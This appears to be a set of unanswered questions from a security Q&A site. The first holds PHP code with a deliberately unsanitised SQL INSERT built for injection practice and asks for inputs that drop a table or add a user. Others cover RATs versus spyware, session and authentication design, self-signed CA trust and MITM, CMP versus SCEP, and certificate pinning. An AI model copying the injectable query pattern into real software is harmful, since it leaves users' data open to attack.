I have set up a page and database so I can practice SQL injection. Ive tried some examples and it doesn't seem to work. It seems to add the username and password to that database, even though I input an Injection in the username field. Here is my code:
include "Connection.php";
<form method="post" action="sqltest.php">
<fieldset>
<label for="username">Username: </label>
<input type="text" name="username"/>
<label for="passwd">Password: </label>
<input type="password" name="passwd"/>
</br>
<input type="submit" value="Submit" />
<input type="reset" value="Clear" />
</fieldset>
</form>
</div>
</div>
$username = $_POST["username"];
$password = $_POST["passwd"];
if (!empty($_POST)){
if (empty($username) || !isset($username)) {
echo "Please enter a valid username";
} else if (empty($password) || !isset($password)) {
echo "Please enter a valid password";
} else {
if (strlen($password) >= 6 && strlen($password) <= 8)
{
if (is_numeric($password))
{
echo "Password cannot be a number<br/>";
}
else{
$encrypted_mypassword=md5($password);
$query = "INSERT INTO sqltest (name,password) VALUES ('$username', '$password')";
$result = mysqli_query($connection,$query);
echo "You have successfully registered";
}
}
else {
echo "Password must be between 6 and 8 characters in length<br/>";
}
}
}
Can anyone tell me some examples that would drop the table, or insert a user?
I just realized that its automatically escaping characters. Surely this doesn't prevent all SQL injection.
Is there anything i can inject that will overcome this?
Thanks!
|
I'm trying to figure out some possible attack scenarios for a project I'm conducting.
I've read plenty of material about malware and, in particular, spyware and trojans. While it's hard to find unique specific definitions for both of them, which however I'm not really interested in, I came to the conclusions that, roughly speaking:
Spyware: log activities and steal information;
Trojans: give remote control of a system to the attacker, to perform a broad variety of malicious actions, possibly including stealing information and logging activities.
Considering this somewhat correct (I hope it is), I'm trying to find some possible motivations, if any, to use RATs instead of spyware. Although I know other common features trojans have, those don't fit well my work.
Are there motivations to prefer a trojan over a spyware if there is no interest in taking control of the infected system ?
|
I'm trying to make a web application in Java with a login/session system using com.sun.net.httpserver and as far I know, it does not have an inbuilt method to this. So, I had the following idea:
User try to login using a form in POST method.
Login success
Server generate an unique session ID string and send it to the client, than create an Hashmap with KEY = session ID and value = User object.
Client store the unique session ID, Username and Password using HTML 5 localStorage.
On each request, client send the SessionID, username and password and the server checks if everything matches.
So, here's my question: Is this method safe?
|
I know I can add a self-signed certificate from a website to Firefox, but only in the CA list of it.
Question: does this mean I have to ultimately trust that self-signed certificate? Can someone sign with that self-signed certificate ex.: google.com, and since the cert is in my CA list, I wouldn't notice when visiting google.com via HTTPS that there is a MITM ongoing?
|
I'm designing an authentication methods for my client/server system consisting of:
a windows desktop client application (.NET)
windows/linux servers (C++)
one "security server" which authorizes the users and passes
some tokens for single sign on to the other servers
A user would login providing username and a password to the security server with I think a simple hashing password + salt or some challenge-response algorithm. On successful login the returned auth token the user could present to the server that would automatically authenticate them.
Note: I know that I could just use SSL, but I would like to (for some reasons)
Note2: The communication doesn't need to be encrypted by default (it would be in "half" trusted environment)
What I have found that the Kerberos looks quite similiar and it it seems that my security server would be a simplified Kerberos server.
I think I would need:
authenication protocol (client-security server)
algorithm for token generation and its verification
Any suggestions? Where to start?
|
What is the difference between CMP and SCEP protocol?
Which one is better?
|
I'm thinking about implementing certificate pinning in a mobile app. The app will need to connect to several secure sites. Rather than having to update the app every time one of their certificates expire, would it make sense to:
create a self-signed cert with an expiration date far in the future
publish a list of valid certs for the app, on a server that uses that self-signed cert
pin this self-signed cert in the app
when the app launches, download that list, and start pinning the additional certs in it
Or is there any reason this would be a bad idea?
|
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